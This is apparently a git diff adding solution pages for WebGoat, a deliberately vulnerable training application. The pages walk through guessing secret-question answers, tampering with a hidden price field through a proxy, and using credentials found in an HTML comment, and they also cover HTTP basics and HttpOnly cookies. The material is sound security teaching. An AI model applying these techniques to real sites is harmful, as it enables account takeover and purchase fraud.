+ Solution by Erwin Geirnaert + ZION SECURITY
+ + + + diff --git a/main/project/WebContent/lesson_solutions/ForcedBrowsing_files/colorschememapping.xml b/main/project/WebContent/lesson_solutions/ForcedBrowsing_files/colorschememapping.xml new file mode 100644 index 000000000..b200daa38 --- /dev/null +++ b/main/project/WebContent/lesson_solutions/ForcedBrowsing_files/colorschememapping.xml @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/main/project/WebContent/lesson_solutions/ForcedBrowsing_files/filelist.xml b/main/project/WebContent/lesson_solutions/ForcedBrowsing_files/filelist.xml new file mode 100644 index 000000000..6616ecc49 --- /dev/null +++ b/main/project/WebContent/lesson_solutions/ForcedBrowsing_files/filelist.xml @@ -0,0 +1,14 @@ + + + + + + + + + + + + + + \ No newline at end of file diff --git a/main/project/WebContent/lesson_solutions/ForcedBrowsing_files/image001.png b/main/project/WebContent/lesson_solutions/ForcedBrowsing_files/image001.png new file mode 100644 index 000000000..c9047d693 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/ForcedBrowsing_files/image001.png differ diff --git a/main/project/WebContent/lesson_solutions/ForcedBrowsing_files/image002.jpg b/main/project/WebContent/lesson_solutions/ForcedBrowsing_files/image002.jpg new file mode 100644 index 000000000..101e688a4 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/ForcedBrowsing_files/image002.jpg differ diff --git a/main/project/WebContent/lesson_solutions/ForcedBrowsing_files/image003.png b/main/project/WebContent/lesson_solutions/ForcedBrowsing_files/image003.png new file mode 100644 index 000000000..569dc0098 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/ForcedBrowsing_files/image003.png differ diff --git a/main/project/WebContent/lesson_solutions/ForcedBrowsing_files/image004.jpg b/main/project/WebContent/lesson_solutions/ForcedBrowsing_files/image004.jpg new file mode 100644 index 000000000..6fe272fa4 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/ForcedBrowsing_files/image004.jpg differ diff --git a/main/project/WebContent/lesson_solutions/ForcedBrowsing_files/image005.png b/main/project/WebContent/lesson_solutions/ForcedBrowsing_files/image005.png new file mode 100644 index 000000000..f2945e2b0 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/ForcedBrowsing_files/image005.png differ diff --git a/main/project/WebContent/lesson_solutions/ForcedBrowsing_files/image006.jpg b/main/project/WebContent/lesson_solutions/ForcedBrowsing_files/image006.jpg new file mode 100644 index 000000000..7ec274b62 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/ForcedBrowsing_files/image006.jpg differ diff --git a/main/project/WebContent/lesson_solutions/ForcedBrowsing_files/image007.png b/main/project/WebContent/lesson_solutions/ForcedBrowsing_files/image007.png new file mode 100644 index 000000000..a001e7963 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/ForcedBrowsing_files/image007.png differ diff --git a/main/project/WebContent/lesson_solutions/ForcedBrowsing_files/image008.jpg b/main/project/WebContent/lesson_solutions/ForcedBrowsing_files/image008.jpg new file mode 100644 index 000000000..672f7af05 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/ForcedBrowsing_files/image008.jpg differ diff --git a/main/project/WebContent/lesson_solutions/ForcedBrowsing_files/themedata.thmx b/main/project/WebContent/lesson_solutions/ForcedBrowsing_files/themedata.thmx new file mode 100644 index 000000000..55426d8ec Binary files /dev/null and b/main/project/WebContent/lesson_solutions/ForcedBrowsing_files/themedata.thmx differ diff --git a/main/project/WebContent/lesson_solutions/ForgotPassword.html b/main/project/WebContent/lesson_solutions/ForgotPassword.html new file mode 100644 index 000000000..5cacb7445 --- /dev/null +++ b/main/project/WebContent/lesson_solutions/ForgotPassword.html @@ -0,0 +1,828 @@ + + + + + + + + + + + + + + + + + + + +
+ +

Lesson +Plan Title: How to +Exploit the Forgot Password Page

+ +

 

+ +

Concept / +Topic To Teach:

+ + + +

Web +applications frequently provide their users the ability to retrieve a forgotten +password. Unfortunately, many web applications fail to implement the mechanism +properly. The information required to verify the identity of the user is often +overly simplistic.

+ +

 

+ +

General +Goal(s):

+ +

Users can +retrieve their password if they can answer the secret question properly. There +is no lock-out mechanism on this 'Forgot Password' page. Your username is +'webgoat' and your favorite color is 'red'. The goal is to retrieve the +password of another user.

+ +

 

+ +

Solution:

+ +

 

+ +

This lesson +will show you how easy it is to guess a secret question and retrieve somebody +else his password.

+ +

 

+ +

+ +

Figure 1 Lesson 10

+ +

 

+ +

When you +enter the user name webgoat and then the answer “red” for your favorite color, +you will get a password reminder, only not via e-mail.

+ +

 

+ +

+ +

Figure 2 Submit the answer red

+ +

 

+ +

+ +

Figure 3 Password reminder for user webgoat

+ +

 

+ +

The password +for user webgoat is webgoat. This is a weak password policy, which is also a +bad thing J

+ +

 

+ +

Now you need +to guess the password for another user. The text tells you something about an +“OWASP admin”. So let’s try “admin” for a user name.

+ +

 

+ +

+ +

Figure 4 Is there a user admin?

+ +

 

+ +

This works. +Now you need the guess some colors.

+ +

 

+ +

+ +

Figure 5 There is a user admin!

+ +

 

+ +

 

+ +

Try blue, red +and green for example.

+ +

 

+ +

+ +

Figure 6 No blue

+ +

 

+ +

Blue is an +incorrect response.

+ +

 

+ +

+ +

Figure 7 It's green!

+ +

 

+ +

Green is the +correct answer and now you know the difficult password for user admin.

+ +

 

+ +
+
+ +

 

+ +
+ + + + + +
+ Solution by Erwin Geirnaert + ZION SECURITY
+ + + + diff --git a/main/project/WebContent/lesson_solutions/ForgotPassword_files/colorschememapping.xml b/main/project/WebContent/lesson_solutions/ForgotPassword_files/colorschememapping.xml new file mode 100644 index 000000000..b200daa38 --- /dev/null +++ b/main/project/WebContent/lesson_solutions/ForgotPassword_files/colorschememapping.xml @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/main/project/WebContent/lesson_solutions/ForgotPassword_files/filelist.xml b/main/project/WebContent/lesson_solutions/ForgotPassword_files/filelist.xml new file mode 100644 index 000000000..ec8ce5b70 --- /dev/null +++ b/main/project/WebContent/lesson_solutions/ForgotPassword_files/filelist.xml @@ -0,0 +1,20 @@ + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/main/project/WebContent/lesson_solutions/ForgotPassword_files/image001.png b/main/project/WebContent/lesson_solutions/ForgotPassword_files/image001.png new file mode 100644 index 000000000..3e10c76d3 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/ForgotPassword_files/image001.png differ diff --git a/main/project/WebContent/lesson_solutions/ForgotPassword_files/image003.png b/main/project/WebContent/lesson_solutions/ForgotPassword_files/image003.png new file mode 100644 index 000000000..11a7001dc Binary files /dev/null and b/main/project/WebContent/lesson_solutions/ForgotPassword_files/image003.png differ diff --git a/main/project/WebContent/lesson_solutions/ForgotPassword_files/image005.png b/main/project/WebContent/lesson_solutions/ForgotPassword_files/image005.png new file mode 100644 index 000000000..033f2e8c8 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/ForgotPassword_files/image005.png differ diff --git a/main/project/WebContent/lesson_solutions/ForgotPassword_files/image007.png b/main/project/WebContent/lesson_solutions/ForgotPassword_files/image007.png new file mode 100644 index 000000000..664c24a06 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/ForgotPassword_files/image007.png differ diff --git a/main/project/WebContent/lesson_solutions/ForgotPassword_files/image009.png b/main/project/WebContent/lesson_solutions/ForgotPassword_files/image009.png new file mode 100644 index 000000000..e0e2ffb7c Binary files /dev/null and b/main/project/WebContent/lesson_solutions/ForgotPassword_files/image009.png differ diff --git a/main/project/WebContent/lesson_solutions/ForgotPassword_files/image011.png b/main/project/WebContent/lesson_solutions/ForgotPassword_files/image011.png new file mode 100644 index 000000000..4542c5240 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/ForgotPassword_files/image011.png differ diff --git a/main/project/WebContent/lesson_solutions/ForgotPassword_files/image013.png b/main/project/WebContent/lesson_solutions/ForgotPassword_files/image013.png new file mode 100644 index 000000000..f72055656 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/ForgotPassword_files/image013.png differ diff --git a/main/project/WebContent/lesson_solutions/ForgotPassword_files/image015.jpg b/main/project/WebContent/lesson_solutions/ForgotPassword_files/image015.jpg new file mode 100644 index 000000000..1f670723b Binary files /dev/null and b/main/project/WebContent/lesson_solutions/ForgotPassword_files/image015.jpg differ diff --git a/main/project/WebContent/lesson_solutions/ForgotPassword_files/image016.jpg b/main/project/WebContent/lesson_solutions/ForgotPassword_files/image016.jpg new file mode 100644 index 000000000..6f8105ce7 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/ForgotPassword_files/image016.jpg differ diff --git a/main/project/WebContent/lesson_solutions/ForgotPassword_files/image017.jpg b/main/project/WebContent/lesson_solutions/ForgotPassword_files/image017.jpg new file mode 100644 index 000000000..76540dad8 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/ForgotPassword_files/image017.jpg differ diff --git a/main/project/WebContent/lesson_solutions/ForgotPassword_files/image018.jpg b/main/project/WebContent/lesson_solutions/ForgotPassword_files/image018.jpg new file mode 100644 index 000000000..76c23e5ea Binary files /dev/null and b/main/project/WebContent/lesson_solutions/ForgotPassword_files/image018.jpg differ diff --git a/main/project/WebContent/lesson_solutions/ForgotPassword_files/image019.jpg b/main/project/WebContent/lesson_solutions/ForgotPassword_files/image019.jpg new file mode 100644 index 000000000..fc38db81d Binary files /dev/null and b/main/project/WebContent/lesson_solutions/ForgotPassword_files/image019.jpg differ diff --git a/main/project/WebContent/lesson_solutions/ForgotPassword_files/image020.jpg b/main/project/WebContent/lesson_solutions/ForgotPassword_files/image020.jpg new file mode 100644 index 000000000..c5a2f719f Binary files /dev/null and b/main/project/WebContent/lesson_solutions/ForgotPassword_files/image020.jpg differ diff --git a/main/project/WebContent/lesson_solutions/ForgotPassword_files/image021.jpg b/main/project/WebContent/lesson_solutions/ForgotPassword_files/image021.jpg new file mode 100644 index 000000000..5798c0713 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/ForgotPassword_files/image021.jpg differ diff --git a/main/project/WebContent/lesson_solutions/ForgotPassword_files/themedata.thmx b/main/project/WebContent/lesson_solutions/ForgotPassword_files/themedata.thmx new file mode 100644 index 000000000..55426d8ec Binary files /dev/null and b/main/project/WebContent/lesson_solutions/ForgotPassword_files/themedata.thmx differ diff --git a/main/project/WebContent/lesson_solutions/HiddenFieldTampering.html b/main/project/WebContent/lesson_solutions/HiddenFieldTampering.html new file mode 100644 index 000000000..5dc07bcae --- /dev/null +++ b/main/project/WebContent/lesson_solutions/HiddenFieldTampering.html @@ -0,0 +1,685 @@ + + + + + + + + + + + + + + + + + + + +
+ +

Lesson +Plan Title: How to +Exploit Hidden Fields

+ +

 

+ +

Concept / +Topic To Teach:

+ +

Developers +will use hidden fields for tracking, login, pricing, etc.. information on a +loaded page. While this is a convenient and easy mechanism for the developer, +they often don't validate the information that is received from the hidden +field. This lesson will teach the attacker to find and modify hidden fields to +obtain a product for a price other than the price specified

+ +

 

+ +

General +Goal(s):

+ +

The user +should be able to exploit a hidden field to obtain a product at an incorrect +price.

+ +

 

+ +

+ +

Figure 1 Lesson 4

+ +

 

+ +

Solution:

+ +

 

+ +

To change the +hidden field you need to start your favorite HTTP Interceptor. You can use +WebScarab from OWASP to intercept the request and change the hidden field. +Configure your browser to use a local proxy. In Internet Explorer you can do +this via “Tools” – “Internet Options” – “Connections” – “LAN Settings”. You +must define proxy “localhost” with port 8008.

+ +

 

+ +

+ +

Figure 2 Set local proxy in Internet Explorer

+ +

 

+ +

Start +WebScarab

+ +

 

+ +

+ +

Figure 3 Intercept request with WebScarab

+ +

 

+ +

+ +

Figure 4 Change the Price variable to 1

+ +

 

+ +

+ +

Figure 5 Lesson 4 Completed

+ +

 

+ +

 

+ +
+ + + + + +
+ Solution by Erwin Geirnaert + ZION SECURITY
+ + + + diff --git a/main/project/WebContent/lesson_solutions/HiddenFieldTampering_files/colorschememapping.xml b/main/project/WebContent/lesson_solutions/HiddenFieldTampering_files/colorschememapping.xml new file mode 100644 index 000000000..b200daa38 --- /dev/null +++ b/main/project/WebContent/lesson_solutions/HiddenFieldTampering_files/colorschememapping.xml @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/main/project/WebContent/lesson_solutions/HiddenFieldTampering_files/filelist.xml b/main/project/WebContent/lesson_solutions/HiddenFieldTampering_files/filelist.xml new file mode 100644 index 000000000..a94e9430b --- /dev/null +++ b/main/project/WebContent/lesson_solutions/HiddenFieldTampering_files/filelist.xml @@ -0,0 +1,16 @@ + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/main/project/WebContent/lesson_solutions/HiddenFieldTampering_files/image001.png b/main/project/WebContent/lesson_solutions/HiddenFieldTampering_files/image001.png new file mode 100644 index 000000000..3757d471d Binary files /dev/null and b/main/project/WebContent/lesson_solutions/HiddenFieldTampering_files/image001.png differ diff --git a/main/project/WebContent/lesson_solutions/HiddenFieldTampering_files/image003.png b/main/project/WebContent/lesson_solutions/HiddenFieldTampering_files/image003.png new file mode 100644 index 000000000..e3ba2d5cd Binary files /dev/null and b/main/project/WebContent/lesson_solutions/HiddenFieldTampering_files/image003.png differ diff --git a/main/project/WebContent/lesson_solutions/HiddenFieldTampering_files/image005.png b/main/project/WebContent/lesson_solutions/HiddenFieldTampering_files/image005.png new file mode 100644 index 000000000..1f0d5ebef Binary files /dev/null and b/main/project/WebContent/lesson_solutions/HiddenFieldTampering_files/image005.png differ diff --git a/main/project/WebContent/lesson_solutions/HiddenFieldTampering_files/image007.png b/main/project/WebContent/lesson_solutions/HiddenFieldTampering_files/image007.png new file mode 100644 index 000000000..a715a8db2 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/HiddenFieldTampering_files/image007.png differ diff --git a/main/project/WebContent/lesson_solutions/HiddenFieldTampering_files/image009.png b/main/project/WebContent/lesson_solutions/HiddenFieldTampering_files/image009.png new file mode 100644 index 000000000..2914f15ec Binary files /dev/null and b/main/project/WebContent/lesson_solutions/HiddenFieldTampering_files/image009.png differ diff --git a/main/project/WebContent/lesson_solutions/HiddenFieldTampering_files/image011.jpg b/main/project/WebContent/lesson_solutions/HiddenFieldTampering_files/image011.jpg new file mode 100644 index 000000000..06d8b5434 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/HiddenFieldTampering_files/image011.jpg differ diff --git a/main/project/WebContent/lesson_solutions/HiddenFieldTampering_files/image012.jpg b/main/project/WebContent/lesson_solutions/HiddenFieldTampering_files/image012.jpg new file mode 100644 index 000000000..3be37d0cf Binary files /dev/null and b/main/project/WebContent/lesson_solutions/HiddenFieldTampering_files/image012.jpg differ diff --git a/main/project/WebContent/lesson_solutions/HiddenFieldTampering_files/image013.jpg b/main/project/WebContent/lesson_solutions/HiddenFieldTampering_files/image013.jpg new file mode 100644 index 000000000..7feef4395 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/HiddenFieldTampering_files/image013.jpg differ diff --git a/main/project/WebContent/lesson_solutions/HiddenFieldTampering_files/image014.jpg b/main/project/WebContent/lesson_solutions/HiddenFieldTampering_files/image014.jpg new file mode 100644 index 000000000..6bbe14316 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/HiddenFieldTampering_files/image014.jpg differ diff --git a/main/project/WebContent/lesson_solutions/HiddenFieldTampering_files/image015.jpg b/main/project/WebContent/lesson_solutions/HiddenFieldTampering_files/image015.jpg new file mode 100644 index 000000000..02de6c5eb Binary files /dev/null and b/main/project/WebContent/lesson_solutions/HiddenFieldTampering_files/image015.jpg differ diff --git a/main/project/WebContent/lesson_solutions/HiddenFieldTampering_files/themedata.thmx b/main/project/WebContent/lesson_solutions/HiddenFieldTampering_files/themedata.thmx new file mode 100644 index 000000000..55426d8ec Binary files /dev/null and b/main/project/WebContent/lesson_solutions/HiddenFieldTampering_files/themedata.thmx differ diff --git a/main/project/WebContent/lesson_solutions/HtmlClues.html b/main/project/WebContent/lesson_solutions/HtmlClues.html new file mode 100644 index 000000000..6bcefd9a7 --- /dev/null +++ b/main/project/WebContent/lesson_solutions/HtmlClues.html @@ -0,0 +1,677 @@ + + + + + + + + + + + + + + + + + + + +
+ +

Lesson +Plan Title: How to +Discover Clues in the HTML

+ +

 

+ +

Concept / +Topic To Teach:

+ +

Developers +are notorious for leaving statements like FIXME's, Code Broken, Hack, etc... +inside the source code.  Review the source code for any comments +denoting passowrds, backdoors, or something doesn't work right. 

+ +

 

+ +

General +Goal(s):

+ +

The user +should be able to bypass the authentication check.

+ +

 

+ +

+ +

Figure 1 Lesson 3

+ +

 

+ +

Right-click +the page and select “View source”

+ +

+ +

Figure 2 View Source

+ +

 

+ +

Solution:

+ +

 

+ +

 

+ +

Examine the +HTML source.

+ +

 

+ +

+ +

 

+ +

In the HTML +source there is a comment that contains a user name admin and a password +adminpw. Enter these values in WebGoat and click “Login”

+ +

 

+ +

+ +

Figure 3 Enter discovered credentials

+ +

 

+ +

+ +

Figure 4 Lesson 3 Completed

+ +

 

+ +

 

+ +

 

+ +
+ + + + + +
+ Solution by Erwin Geirnaert + ZION SECURITY
+ + + + diff --git a/main/project/WebContent/lesson_solutions/HtmlClues_files/colorschememapping.xml b/main/project/WebContent/lesson_solutions/HtmlClues_files/colorschememapping.xml new file mode 100644 index 000000000..b200daa38 --- /dev/null +++ b/main/project/WebContent/lesson_solutions/HtmlClues_files/colorschememapping.xml @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/main/project/WebContent/lesson_solutions/HtmlClues_files/filelist.xml b/main/project/WebContent/lesson_solutions/HtmlClues_files/filelist.xml new file mode 100644 index 000000000..b8f56a1ec --- /dev/null +++ b/main/project/WebContent/lesson_solutions/HtmlClues_files/filelist.xml @@ -0,0 +1,16 @@ + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/main/project/WebContent/lesson_solutions/HtmlClues_files/image001.png b/main/project/WebContent/lesson_solutions/HtmlClues_files/image001.png new file mode 100644 index 000000000..16a985f95 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/HtmlClues_files/image001.png differ diff --git a/main/project/WebContent/lesson_solutions/HtmlClues_files/image003.png b/main/project/WebContent/lesson_solutions/HtmlClues_files/image003.png new file mode 100644 index 000000000..6c3b652b2 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/HtmlClues_files/image003.png differ diff --git a/main/project/WebContent/lesson_solutions/HtmlClues_files/image005.png b/main/project/WebContent/lesson_solutions/HtmlClues_files/image005.png new file mode 100644 index 000000000..baccb3c43 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/HtmlClues_files/image005.png differ diff --git a/main/project/WebContent/lesson_solutions/HtmlClues_files/image007.png b/main/project/WebContent/lesson_solutions/HtmlClues_files/image007.png new file mode 100644 index 000000000..7fe1df7d1 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/HtmlClues_files/image007.png differ diff --git a/main/project/WebContent/lesson_solutions/HtmlClues_files/image009.png b/main/project/WebContent/lesson_solutions/HtmlClues_files/image009.png new file mode 100644 index 000000000..4e0f0026e Binary files /dev/null and b/main/project/WebContent/lesson_solutions/HtmlClues_files/image009.png differ diff --git a/main/project/WebContent/lesson_solutions/HtmlClues_files/image011.jpg b/main/project/WebContent/lesson_solutions/HtmlClues_files/image011.jpg new file mode 100644 index 000000000..5c887a646 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/HtmlClues_files/image011.jpg differ diff --git a/main/project/WebContent/lesson_solutions/HtmlClues_files/image012.jpg b/main/project/WebContent/lesson_solutions/HtmlClues_files/image012.jpg new file mode 100644 index 000000000..80456d498 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/HtmlClues_files/image012.jpg differ diff --git a/main/project/WebContent/lesson_solutions/HtmlClues_files/image013.jpg b/main/project/WebContent/lesson_solutions/HtmlClues_files/image013.jpg new file mode 100644 index 000000000..38b875113 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/HtmlClues_files/image013.jpg differ diff --git a/main/project/WebContent/lesson_solutions/HtmlClues_files/image014.jpg b/main/project/WebContent/lesson_solutions/HtmlClues_files/image014.jpg new file mode 100644 index 000000000..3a8f380ac Binary files /dev/null and b/main/project/WebContent/lesson_solutions/HtmlClues_files/image014.jpg differ diff --git a/main/project/WebContent/lesson_solutions/HtmlClues_files/image015.jpg b/main/project/WebContent/lesson_solutions/HtmlClues_files/image015.jpg new file mode 100644 index 000000000..a9d131b57 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/HtmlClues_files/image015.jpg differ diff --git a/main/project/WebContent/lesson_solutions/HtmlClues_files/themedata.thmx b/main/project/WebContent/lesson_solutions/HtmlClues_files/themedata.thmx new file mode 100644 index 000000000..55426d8ec Binary files /dev/null and b/main/project/WebContent/lesson_solutions/HtmlClues_files/themedata.thmx differ diff --git a/main/project/WebContent/lesson_solutions/HttpBasics.html b/main/project/WebContent/lesson_solutions/HttpBasics.html new file mode 100644 index 000000000..3fd649f6d --- /dev/null +++ b/main/project/WebContent/lesson_solutions/HttpBasics.html @@ -0,0 +1,635 @@ + + + + + + + + + + + + + + + + + + + +
+ +

Lesson +Plan Title: Http +Basics

+ +

 

+ +

Concept / +Topic To Teach:

+ +

This lesson +presents the basics for understanding the transfer of data between the browser +and the web application.
+
+Client Request: How HTTP works:

+ +

All HTTP transactions +follow the same general format. Each client request and server response has +three parts: the request or response line, a header section, and the entity +body. The client initiates a transaction as follows:
+
+The client contacts the server and sends a document request

+ +


+        GET /index.html?param=value HTTP/1.0
+
+Next, the client sends optional header information to inform the server of its +configuration and the document formats it will accept.
+
+        User-Agent: Mozilla/4.06 Accept: image/gif, +image/jpeg, */*
+
+After sending the request and headers, the client may send additional data. +This data is mostly used by CGI programs using the POST method.

+ +

 

+ +

General +Goal(s):

+ +

Enter your +name in the input field below and press "go" to submit. The server +will accept the request, reverse the input, and display it back to the user, +illustrating the basics of handling an HTTP request.
+
+The user should become familiar with the features of WebGoat by manipulating +the above buttons to view hints, show the HTTP request parameters, the HTTP +request cookies, and the Java source code.

+ +

 

+ +

Solution:

+ +

Click “Show +Params” and ‘Show Cookies”.

+ +

+ +

Figure 1 Enter your name

+ +

 

+ +

Fill out your +name and click the button Go!

+ +

 

+ +

+ +

 

+ +

 

+ +
+ + + + + +
+ Solution by Erwin Geirnaert + ZION SECURITY
+ + + diff --git a/main/project/WebContent/lesson_solutions/HttpBasics_files/colorschememapping.xml b/main/project/WebContent/lesson_solutions/HttpBasics_files/colorschememapping.xml new file mode 100644 index 000000000..b200daa38 --- /dev/null +++ b/main/project/WebContent/lesson_solutions/HttpBasics_files/colorschememapping.xml @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/main/project/WebContent/lesson_solutions/HttpBasics_files/filelist.xml b/main/project/WebContent/lesson_solutions/HttpBasics_files/filelist.xml new file mode 100644 index 000000000..2d81880c2 --- /dev/null +++ b/main/project/WebContent/lesson_solutions/HttpBasics_files/filelist.xml @@ -0,0 +1,10 @@ + + + + + + + + + + \ No newline at end of file diff --git a/main/project/WebContent/lesson_solutions/HttpBasics_files/image001.png b/main/project/WebContent/lesson_solutions/HttpBasics_files/image001.png new file mode 100644 index 000000000..783a404ed Binary files /dev/null and b/main/project/WebContent/lesson_solutions/HttpBasics_files/image001.png differ diff --git a/main/project/WebContent/lesson_solutions/HttpBasics_files/image003.png b/main/project/WebContent/lesson_solutions/HttpBasics_files/image003.png new file mode 100644 index 000000000..7d0a0830c Binary files /dev/null and b/main/project/WebContent/lesson_solutions/HttpBasics_files/image003.png differ diff --git a/main/project/WebContent/lesson_solutions/HttpBasics_files/image005.jpg b/main/project/WebContent/lesson_solutions/HttpBasics_files/image005.jpg new file mode 100644 index 000000000..7b9b508a5 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/HttpBasics_files/image005.jpg differ diff --git a/main/project/WebContent/lesson_solutions/HttpBasics_files/image006.jpg b/main/project/WebContent/lesson_solutions/HttpBasics_files/image006.jpg new file mode 100644 index 000000000..cb6599a1f Binary files /dev/null and b/main/project/WebContent/lesson_solutions/HttpBasics_files/image006.jpg differ diff --git a/main/project/WebContent/lesson_solutions/HttpBasics_files/themedata.thmx b/main/project/WebContent/lesson_solutions/HttpBasics_files/themedata.thmx new file mode 100644 index 000000000..55426d8ec Binary files /dev/null and b/main/project/WebContent/lesson_solutions/HttpBasics_files/themedata.thmx differ diff --git a/main/project/WebContent/lesson_solutions/HttpOnly.html b/main/project/WebContent/lesson_solutions/HttpOnly.html new file mode 100644 index 000000000..467dcc903 --- /dev/null +++ b/main/project/WebContent/lesson_solutions/HttpOnly.html @@ -0,0 +1,863 @@ + + + + + + + + + + + + + + + + + + + +
+ +

Lesson Plan Title: HttpOnly Test

+ +

 

+ +

Concept / Topic To +Teach:

+ + + +

To +help mitigate the cross site scripting threat, Microsoft has introduced a new cookie +attribute entitled 'HttpOnly.' If this flag is set, then the browser should not +allow client-side script to access the cookie. Since the attribute is +relatively new, several browsers neglect to handle the new attribute properly.

+ +

 

+ +

General Goal(s):

+ +

The +purpose of this lesson is to test whether your browser supports the HTTPOnly +cookie flag. Note the value of the unique2u cookie. If your browser supports +HTTPOnly, and you enable it for a cookie, client side code should NOT be able +to read OR write to that cookie, but the browser can still send its value to +the server. Some browsers only prevent client side read access, but don't +prevent write access.

+ +

 

+ +

+ +

Figure 1 Lesson HTTPOnly Test

+ +

 

+ +

Solution:

+ +

 

+ +

HTTPOnly +is not configured. When you click on “Read Cookie” you will get the following +pop-up in JavaScript, displaying the cookies

+ +

 

+ +

+ +

Figure 2 All cookies

+ +

 

+ +

Select +“Yes” to turn HTTPOnly on. Intercept the HTTP Request and HTTP Response in +WebScarab.

+ +

 

+ +

+ +

Figure 3 HTTP Request

+ +

 

+ +

+ +

Figure 4 HTTP Response with HTTPOnly +cookie

+ +

 

+ +

 

+ +

Click +on “Read cookie”. You will see the JSESSIONID which is not using HTTPOnly.

+ +

+ +

Figure 5 Only JSESSIONID

+ +

 

+ +

+ +

Figure 6 HTTPOnly Success

+ +

 

+ +

Click +on “Write cookie” which again only shows the JSESSIONID cookie.

+ +

 

+ +

+ +

Figure 7 JSESSIONID cookie

+ +

 

+ +

+ +

Figure 8 Lesson completed

+ +

 

+ +
+ + + + + +
+ Solution by Erwin Geirnaert + ZION SECURITY
+ + + + diff --git a/main/project/WebContent/lesson_solutions/HttpOnly_files/colorschememapping.xml b/main/project/WebContent/lesson_solutions/HttpOnly_files/colorschememapping.xml new file mode 100644 index 000000000..b200daa38 --- /dev/null +++ b/main/project/WebContent/lesson_solutions/HttpOnly_files/colorschememapping.xml @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/main/project/WebContent/lesson_solutions/HttpOnly_files/filelist.xml b/main/project/WebContent/lesson_solutions/HttpOnly_files/filelist.xml new file mode 100644 index 000000000..b6972bfed --- /dev/null +++ b/main/project/WebContent/lesson_solutions/HttpOnly_files/filelist.xml @@ -0,0 +1,20 @@ + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/main/project/WebContent/lesson_solutions/HttpOnly_files/image001.png b/main/project/WebContent/lesson_solutions/HttpOnly_files/image001.png new file mode 100644 index 000000000..169190729 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/HttpOnly_files/image001.png differ diff --git a/main/project/WebContent/lesson_solutions/HttpOnly_files/image003.png b/main/project/WebContent/lesson_solutions/HttpOnly_files/image003.png new file mode 100644 index 000000000..597cc80eb Binary files /dev/null and b/main/project/WebContent/lesson_solutions/HttpOnly_files/image003.png differ diff --git a/main/project/WebContent/lesson_solutions/HttpOnly_files/image005.png b/main/project/WebContent/lesson_solutions/HttpOnly_files/image005.png new file mode 100644 index 000000000..24e98dab8 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/HttpOnly_files/image005.png differ diff --git a/main/project/WebContent/lesson_solutions/HttpOnly_files/image007.png b/main/project/WebContent/lesson_solutions/HttpOnly_files/image007.png new file mode 100644 index 000000000..6b5f8cb64 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/HttpOnly_files/image007.png differ diff --git a/main/project/WebContent/lesson_solutions/HttpOnly_files/image009.png b/main/project/WebContent/lesson_solutions/HttpOnly_files/image009.png new file mode 100644 index 000000000..443fc7029 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/HttpOnly_files/image009.png differ diff --git a/main/project/WebContent/lesson_solutions/HttpOnly_files/image011.png b/main/project/WebContent/lesson_solutions/HttpOnly_files/image011.png new file mode 100644 index 000000000..a378ec244 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/HttpOnly_files/image011.png differ diff --git a/main/project/WebContent/lesson_solutions/HttpOnly_files/image013.png b/main/project/WebContent/lesson_solutions/HttpOnly_files/image013.png new file mode 100644 index 000000000..98535fdfe Binary files /dev/null and b/main/project/WebContent/lesson_solutions/HttpOnly_files/image013.png differ diff --git a/main/project/WebContent/lesson_solutions/HttpOnly_files/image015.jpg b/main/project/WebContent/lesson_solutions/HttpOnly_files/image015.jpg new file mode 100644 index 000000000..efbe77300 Binary files /dev/null and b/main/project/WebContent/lesson_solutions/HttpOnly_files/image015.jpg differ diff --git a/main/project/WebContent/lesson_solutions/HttpOnly_files/image016.jpg b/main/project/WebContent/lesson_solutions/HttpOnly_files/image016.jpg new file mode 100644 index 000000000..195c2529b Binary files /dev/null and b/main/project/WebContent/lesson_solutions/HttpOnly_files/image016.jpg differ diff --git a/main/project/WebContent/lesson_solutions/HttpOnly_files/image017.jpg b/main/project/WebContent/lesson_solutions/HttpOnly_files/image017.jpg new file mode 100644 index 000000000..91d8d9c6d Binary files /dev/null and b/main/project/WebContent/lesson_solutions/HttpOnly_files/image017.jpg differ diff --git a/main/project/WebContent/lesson_solutions/HttpOnly_files/image018.jpg b/main/project/WebContent/lesson_solutions/HttpOnly_files/image018.jpg new file mode 100644 index 000000000..adc7a901e Binary files /dev/null and 